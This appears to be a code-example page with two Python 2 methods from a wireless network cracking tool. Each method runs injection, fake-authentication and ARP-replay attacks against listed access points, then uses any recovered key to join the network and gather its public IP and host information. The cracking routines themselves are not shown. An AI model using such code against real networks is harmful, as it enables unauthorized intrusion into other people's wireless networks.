Example #1
0
    def run(self):
        time = int(self.time) / int(len(self.option['aplist']))
        if self.dict_password:
            pass
        else:
            self.create_brtue_text()

        r = Reader()  # Reader class in airodump module
        nets = r.get_sorted_networks()
        for i in xrange(0, len(self.option['aplist'])):
            channel = self.option['aplist'][i]['channel']
            bssid = self.option['aplist'][i]['bssid']
            # Get the essid match the encoding format that AP is broadcast.
            for k in range(0, len(nets)):
                if nets[k]['bssid'] == bssid:
                    essid = nets[k]['essid']
                    break
            enc_type = self.option['aplist'][i]['enc_type']
            public_ip = False
            conn_host = False
            if essid == '':
                print '[!!] Can not connect without ESSID'
                continue
            self.apcrack = Attack(self.iface,
                                  channel,
                                  bssid,
                                  essid,
                                  enc_type,
                                  timeout=time)
            print "[*] ATTACK START"
            self.apcrack.run()
            print "[*] ATTACK END"
            ap_values = self.apcrack.get_value()

            if ap_values['key']:  # Found Key
                retval, public_ip, conn_host = network.get_ap_info(
                    essid, channel, enc_type, ap_values['key'], self.iface,
                    self.public_ip_get, self.conn_host_info)

                self.result_value = {
                    'essid': ap_values['essid'],
                    'bssid': ap_values['bssid'],
                    'inject_T': ap_values['inject_T'],
                    'fake_auth_T': ap_values['fake_auth_T'],
                    'arp_req_T': ap_values['arp_req_T'],
                    'key': ap_values['key'],
                    'public_ip': public_ip,
                    'conn_host_info': conn_host
                }
                self.result.put(self.result_value)
                print self.result
            self.apcrack.stop()
            self.apcrack = None
Example #2
0
    def run(self):
        time = int(self.time) / int(len(self.object['aplist']))
        self.create_brtue_text()
        for i in xrange(0, len(self.object['aplist'])):
            channel = self.object['aplist'][i]['channel']
            bssid = self.object['aplist'][i]['bssid']
            essid = self.object['aplist'][i]['essid']
            enc_type = self.object['aplist'][i]['enc_type']
            ap_crack = Attack(self.iface,
                              channel,
                              bssid,
                              essid,
                              enc_type,
                              timeout=time)
            public_ip = False
            conn_host = False
            ap_crack.run()
            ap_values = ap_crack.get_value()
            if ap_values['key']:
                if network.set_new_connection(essid, ap_values['key'],
                                              self.iface):
                    if self.public_ip_get:
                        public_ip = network.myip()
                    if self.conn_host_info:
                        try:
                            conn_host = network.network_host_ip(self.iface)
                        except IOError:
                            conn_host = False

            self.result_value += str({
                'essid': ap_values['essid'],
                'bssid': ap_values['bssid'],
                'inject_T': ap_values['inject_T'],
                'fake_auth_T': ap_values['fake_auth_T'],
                'arp_req_T': ap_values['arp_req_T'],
                'key': ap_values['key'],
                'public_ip': public_ip,
                'conn_host_info': conn_host
            }) + ", "
            ap_crack.stop()

        self.result_value = str(self.result_value[:-2]) + ']'